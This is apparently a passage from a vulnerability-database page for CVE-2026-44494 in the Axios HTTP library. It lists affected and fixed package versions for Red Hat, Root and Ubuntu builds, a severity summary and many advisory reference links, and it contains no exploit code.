automation-eda-controller-baseRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-eda-controller-base-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-eda-controller-event-stream-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-eda-controller-worker-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-gatewayRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el9ap | 0:2.5.20260715-1.el9ap |
automation-gateway-configRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el9ap | 0:2.5.20260715-1.el9ap |
automation-hubRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.10.16-1.el9ap | 0:4.10.16-1.el9ap |
python3.12-galaxy-ngRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.10.16-1.el9ap | 0:4.10.16-1.el9ap |
python3.12-pulp-ansibleRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 1:0.25.6-1.el9ap | 1:0.25.6-1.el9ap |
python3.12-pulp-containerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.19.12-1.el9ap | 0:2.19.12-1.el9ap |
python3.12-pyjwt+cryptoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.13.0-1.el9ap | 0:2.13.0-1.el9ap |
python3.12-pyjwtRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.13.0-1.el9ap | 0:2.13.0-1.el9ap |
python3.12-pysequoiaRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-pysequoia-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-pysequoia-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-urllib3Red Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.7.0-1.el9ap | 0:2.7.0-1.el9ap |
axiosRoot:npm |
before 1.15.1-aikido.1 | 1.15.1-aikido.11.15.2-aikido.51.12.1-aikido.181.13.5-aikido.101.13.4-aikido.31.8.4-aikido.71.6.0-aikido.11.8.4-aikido.81.13.4-aikido.41.13.2-aikido.81.8.4-aikido.91.12.0-aikido.101.13.4-aikido.51.12.1-aikido.191.13.5-aikido.111.13.2-aikido.91.13.5-aikido.121.13.4-aikido.61.12.1-aikido.201.13.5-aikido.131.13.4-aikido.71.8.4-aikido.101.2.1-aikido.21.2.1-aikido.31.15.2-aikido.11.8.3-aikido.41.15.2-aikido.21.8.3-aikido.51.8.3-aikido.61.12.0-aikido.111.13.2-aikido.101.8.3-aikido.71.2.1-aikido.41.15.2-aikido.31.15.0-aikido.91.15.0-aikido.101.14.0-aikido.51.15.0-aikido.111.14.0-aikido.61.14.0-aikido.71.15.0-aikido.121.14.0-aikido.81.14.0-aikido.91.14.0-aikido.101.13.6-aikido.51.12.2-aikido.51.7.9-aikido.81.12.2-aikido.61.12.2-aikido.71.7.9-aikido.91.7.9-aikido.101.7.7-aikido.11.6.5-aikido.11.7.4-aikido.21.13.4-aikido.81.7.4-aikido.31.8.3-aikido.81.15.0-aikido.131.13.2-aikido.111.12.0-aikido.121.13.6-aikido.61.7.9-aikido.111.8.4-aikido.111.13.5-aikido.141.15.2-aikido.41.8.3-aikido.91.14.0-aikido.111.2.1-aikido.51.12.2-aikido.81.15.0-aikido.141.12.2-aikido.91.12.2-aikido.101.12.2-aikido.111.7.9-aikido.121.13.2-aikido.121.7.4-aikido.41.6.5-aikido.21.7.7-aikido.21.6.0-aikido.21.15.1-aikido.21.8.4-aikido.121.6.0-aikido.31.6.5-aikido.31.7.4-aikido.51.7.9-aikido.131.16.0-aikido.31.16.0-aikido.11.16.0-aikido.2 |
@rootio/axiosRoot:npm |
before 1.15.1-root.io.1 | 1.15.1-root.io.11.15.2-root.io.51.12.1-root.io.181.13.5-root.io.101.13.4-root.io.31.8.4-root.io.71.6.0-root.io.11.8.4-root.io.81.13.4-root.io.41.13.2-root.io.81.8.4-root.io.91.12.0-root.io.101.13.4-root.io.51.12.1-root.io.191.13.5-root.io.111.13.2-root.io.91.13.5-root.io.121.13.4-root.io.61.12.1-root.io.201.13.5-root.io.131.13.4-root.io.71.8.4-root.io.101.2.1-root.io.21.2.1-root.io.31.15.2-root.io.11.8.3-root.io.41.15.2-root.io.21.8.3-root.io.51.8.3-root.io.61.12.0-root.io.111.13.2-root.io.101.8.3-root.io.71.2.1-root.io.41.15.2-root.io.31.15.0-root.io.91.15.0-root.io.101.14.0-root.io.51.15.0-root.io.111.14.0-root.io.61.14.0-root.io.71.15.0-root.io.121.14.0-root.io.81.14.0-root.io.91.14.0-root.io.101.13.6-root.io.51.12.2-root.io.51.7.9-root.io.81.12.2-root.io.61.12.2-root.io.71.7.9-root.io.91.7.9-root.io.101.7.7-root.io.11.6.5-root.io.11.7.4-root.io.21.13.4-root.io.81.7.4-root.io.31.8.3-root.io.81.15.0-root.io.131.13.2-root.io.111.12.0-root.io.121.13.6-root.io.61.7.9-root.io.111.8.4-root.io.111.13.5-root.io.141.15.2-root.io.41.8.3-root.io.91.14.0-root.io.111.2.1-root.io.51.12.2-root.io.81.15.0-root.io.141.12.2-root.io.91.12.2-root.io.101.12.2-root.io.111.7.9-root.io.121.13.2-root.io.121.7.4-root.io.41.6.5-root.io.21.7.7-root.io.21.6.0-root.io.21.15.1-root.io.21.8.4-root.io.121.6.0-root.io.31.6.5-root.io.31.7.4-root.io.51.7.9-root.io.131.16.0-root.io.31.16.0-root.io.11.16.0-root.io.2 |
node-axiosUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 0.19.0+dfsg-20.19.0+dfsg-2ubuntu0.1~esm1 |
None known |
node-axiosUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 0.21.1+dfsg-10.23.0+dfsg-20.24.0+dfsg-10.25.0+dfsg-20.26.0+dfsg-10.26.0+dfsg-1ubuntu0.1~esm1 |
None known |
node-axiosUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 1.2.1+dfsg-11.5.1+dfsg-11.6.2+dfsg-11.6.8+dfsg-21.6.8+dfsg-2ubuntu0.1~esm1 |
None known |
node-axiosUbuntu:25.10 |
All versions, plus listed versions 1.7.9+dfsg-11.8.4+dfsg-11.11.0+dfsg-1 |
None known |
node-axiosUbuntu:26.10 |
All versions, plus listed versions 1.13.2+dfsg-1build11.16.0-11.18.0-11.19.0-1 |
None known |
node-axiosUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 1.11.0+dfsg-11.12.1+dfsg-11.13.2+dfsg-1build11.13.2+dfsg-1ubuntu0.1~esm1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected | OSV | |
| affected, aliases, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44494 is a high vulnerability (CVSS 8.7) in Axios, published May 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.06%, the 64th percentile. Fixed in axios 1.16.0.
References
github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh
access.redhat.com/security/cve/CVE-2026-44494
bugzilla.redhat.com/show_bug.cgi?id=2487942
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44494.json
access.redhat.com/errata/RHSA-2026:42078
access.redhat.com/errata/RHSA-2026:66545
Show 193 moreShow less
access.redhat.com/errata/RHSA-2026:66488
access.redhat.com/errata/RHSA-2026:41064
access.redhat.com/errata/RHSA-2026:30651
access.redhat.com/errata/RHSA-2026:36882
access.redhat.com/errata/RHSA-2026:46903
access.redhat.com/errata/RHSA-2026:57191
access.redhat.com/errata/RHSA-2026:20938
access.redhat.com/errata/RHSA-2026:20889
access.redhat.com/errata/RHSA-2026:42142
access.redhat.com/errata/RHSA-2026:36108
access.redhat.com/errata/RHSA-2026:33005
access.redhat.com/errata/RHSA-2026:41951
access.redhat.com/errata/RHSA-2026:36754
access.redhat.com/errata/RHSA-2026:33574
access.redhat.com/errata/RHSA-2026:29197
access.redhat.com/errata/RHSA-2026:41928
access.redhat.com/errata/RHSA-2026:50300
access.redhat.com/errata/RHSA-2026:60520
access.redhat.com/errata/RHSA-2026:54188
access.redhat.com/errata/RHSA-2026:36611
access.redhat.com/errata/RHSA-2026:28964
access.redhat.com/errata/RHSA-2026:29082
access.redhat.com/errata/RHSA-2026:29864
access.redhat.com/errata/RHSA-2026:40795
access.redhat.com/errata/RHSA-2026:29800
access.redhat.com/errata/RHSA-2026:40792
access.redhat.com/errata/RHSA-2026:27044
access.redhat.com/errata/RHSA-2026:34794
access.redhat.com/errata/RHSA-2026:36820
access.redhat.com/errata/RHSA-2026:33155
access.redhat.com/errata/RHSA-2026:33160
access.redhat.com/errata/RHSA-2026:33163
access.redhat.com/errata/RHSA-2026:33173
access.redhat.com/errata/RHSA-2026:33183
access.redhat.com/errata/RHSA-2026:41031
access.redhat.com/errata/RHSA-2026:42146
access.redhat.com/errata/RHSA-2026:43052
access.redhat.com/errata/RHSA-2026:42796
access.redhat.com/errata/RHSA-2026:41066
access.redhat.com/errata/RHSA-2026:40262
access.redhat.com/errata/RHSA-2026:34530
access.redhat.com/errata/RHSA-2026:34527
access.redhat.com/errata/RHSA-2026:34525
access.redhat.com/errata/RHSA-2026:42085
access.redhat.com/errata/RHSA-2026:46885
access.redhat.com/errata/RHSA-2026:41055
access.redhat.com/errata/RHSA-2026:30650
access.redhat.com/errata/RHSA-2026:36883
github.com/advisories/GHSA-fvcv-3m26-pcqx
nvd.nist.gov/vuln/detail/CVE-2026-44494
github.com/advisories/GHSA-35jp-ww65-95wh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44494.json
security-tracker.debian.org/tracker/CVE-2026-44494
github.com/axios/axios
access.redhat.com/security/updates/classification
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
bugzilla.redhat.com/show_bug.cgi?id=2453496
bugzilla.redhat.com/show_bug.cgi?id=2456333
bugzilla.redhat.com/show_bug.cgi?id=2460927
bugzilla.redhat.com/show_bug.cgi?id=2461624
bugzilla.redhat.com/show_bug.cgi?id=2466582
bugzilla.redhat.com/show_bug.cgi?id=2466684
bugzilla.redhat.com/show_bug.cgi?id=2467822
bugzilla.redhat.com/show_bug.cgi?id=2477154
bugzilla.redhat.com/show_bug.cgi?id=2480756
bugzilla.redhat.com/show_bug.cgi?id=2480757
bugzilla.redhat.com/show_bug.cgi?id=2480761
bugzilla.redhat.com/show_bug.cgi?id=2485379
bugzilla.redhat.com/show_bug.cgi?id=2487937
bugzilla.redhat.com/show_bug.cgi?id=2487938
bugzilla.redhat.com/show_bug.cgi?id=2487943
bugzilla.redhat.com/show_bug.cgi?id=2487947
bugzilla.redhat.com/show_bug.cgi?id=2487948
bugzilla.redhat.com/show_bug.cgi?id=2487949
bugzilla.redhat.com/show_bug.cgi?id=2489126
bugzilla.redhat.com/show_bug.cgi?id=2490703
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_42078.json
access.redhat.com/security/cve/CVE-2026-4800
cve.org/CVERecord?id=CVE-2026-4800
nvd.nist.gov/vuln/detail/CVE-2026-4800
cna.openjsf.org/security-advisories.html
github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc
access.redhat.com/security/cve/CVE-2026-6321
cve.org/CVERecord?id=CVE-2026-6321
nvd.nist.gov/vuln/detail/CVE-2026-6321
github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6
access.redhat.com/security/cve/CVE-2026-6322
cve.org/CVERecord?id=CVE-2026-6322
nvd.nist.gov/vuln/detail/CVE-2026-6322
github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc
access.redhat.com/security/cve/CVE-2026-8643
cve.org/CVERecord?id=CVE-2026-8643
nvd.nist.gov/vuln/detail/CVE-2026-8643
github.com/pypa/pip/commit/8eb178480bd1a2b223f509fc430796b265158dfb
access.redhat.com/security/cve/CVE-2026-11332
cve.org/CVERecord?id=CVE-2026-11332
nvd.nist.gov/vuln/detail/CVE-2026-11332
github.com/ansible/ansible
access.redhat.com/security/cve/CVE-2026-12382
cve.org/CVERecord?id=CVE-2026-12382
nvd.nist.gov/vuln/detail/CVE-2026-12382
access.redhat.com/security/cve/CVE-2026-12701
cve.org/CVERecord?id=CVE-2026-12701
nvd.nist.gov/vuln/detail/CVE-2026-12701
access.redhat.com/security/cve/CVE-2026-25681
cve.org/CVERecord?id=CVE-2026-25681
nvd.nist.gov/vuln/detail/CVE-2026-25681
go.dev/cl/781703
go.dev/issue/79574
groups.google.com/g/golang-announce/c/iI-mYSI0lu8
pkg.go.dev/vuln/GO-2026-5029
access.redhat.com/security/cve/CVE-2026-27136
cve.org/CVERecord?id=CVE-2026-27136
nvd.nist.gov/vuln/detail/CVE-2026-27136
go.dev/cl/781685
go.dev/issue/79575
pkg.go.dev/vuln/GO-2026-5030
access.redhat.com/security/cve/CVE-2026-32281
cve.org/CVERecord?id=CVE-2026-32281
nvd.nist.gov/vuln/detail/CVE-2026-32281
go.dev/cl/758061
go.dev/issue/78281
groups.google.com/g/golang-announce/c/0uYbvbPZRWU
pkg.go.dev/vuln/GO-2026-4946
access.redhat.com/security/cve/CVE-2026-33811
cve.org/CVERecord?id=CVE-2026-33811
nvd.nist.gov/vuln/detail/CVE-2026-33811
go.dev/cl/767860
go.dev/issue/78803
groups.google.com/g/golang-announce/c/qcCIEXso47M
pkg.go.dev/vuln/GO-2026-4981
access.redhat.com/security/cve/CVE-2026-39821
cve.org/CVERecord?id=CVE-2026-39821
nvd.nist.gov/vuln/detail/CVE-2026-39821
go.dev/cl/767220
go.dev/issue/78760
pkg.go.dev/vuln/GO-2026-5026
access.redhat.com/security/cve/CVE-2026-42044
cve.org/CVERecord?id=CVE-2026-42044
nvd.nist.gov/vuln/detail/CVE-2026-42044
github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23
access.redhat.com/security/cve/CVE-2026-42215
bugzilla.redhat.com/show_bug.cgi?id=2467802
cve.org/CVERecord?id=CVE-2026-42215
nvd.nist.gov/vuln/detail/CVE-2026-42215
github.com/gitpython-developers/GitPython/releases/tag/3.1.47
github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4
access.redhat.com/security/cve/CVE-2026-42284
bugzilla.redhat.com/show_bug.cgi?id=2467800
cve.org/CVERecord?id=CVE-2026-42284
nvd.nist.gov/vuln/detail/CVE-2026-42284
github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485
access.redhat.com/security/cve/CVE-2026-42784
bugzilla.redhat.com/show_bug.cgi?id=2464122
cve.org/CVERecord?id=CVE-2026-42784
nvd.nist.gov/vuln/detail/CVE-2026-42784
access.redhat.com/security/cve/CVE-2026-44244
bugzilla.redhat.com/show_bug.cgi?id=2467804
cve.org/CVERecord?id=CVE-2026-44244
nvd.nist.gov/vuln/detail/CVE-2026-44244
github.com/gitpython-developers/GitPython/releases/tag/3.1.49
github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67
access.redhat.com/security/cve/CVE-2026-44432
cve.org/CVERecord?id=CVE-2026-44432
nvd.nist.gov/vuln/detail/CVE-2026-44432
github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j
access.redhat.com/security/cve/CVE-2026-44486
cve.org/CVERecord?id=CVE-2026-44486
nvd.nist.gov/vuln/detail/CVE-2026-44486
github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc
access.redhat.com/security/cve/CVE-2026-44487
cve.org/CVERecord?id=CVE-2026-44487
nvd.nist.gov/vuln/detail/CVE-2026-44487
github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v
access.redhat.com/security/cve/CVE-2026-44488
cve.org/CVERecord?id=CVE-2026-44488
nvd.nist.gov/vuln/detail/CVE-2026-44488
github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf
access.redhat.com/security/cve/CVE-2026-44492
cve.org/CVERecord?id=CVE-2026-44492
nvd.nist.gov/vuln/detail/CVE-2026-44492
github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv
cve.org/CVERecord?id=CVE-2026-44494
access.redhat.com/security/cve/CVE-2026-44495
cve.org/CVERecord?id=CVE-2026-44495
nvd.nist.gov/vuln/detail/CVE-2026-44495
github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw
access.redhat.com/security/cve/CVE-2026-44496
cve.org/CVERecord?id=CVE-2026-44496
nvd.nist.gov/vuln/detail/CVE-2026-44496
github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf
ubuntu.com/security/CVE-2026-44494
Left out here: the rest of 2 source descriptions. The JSON record has them.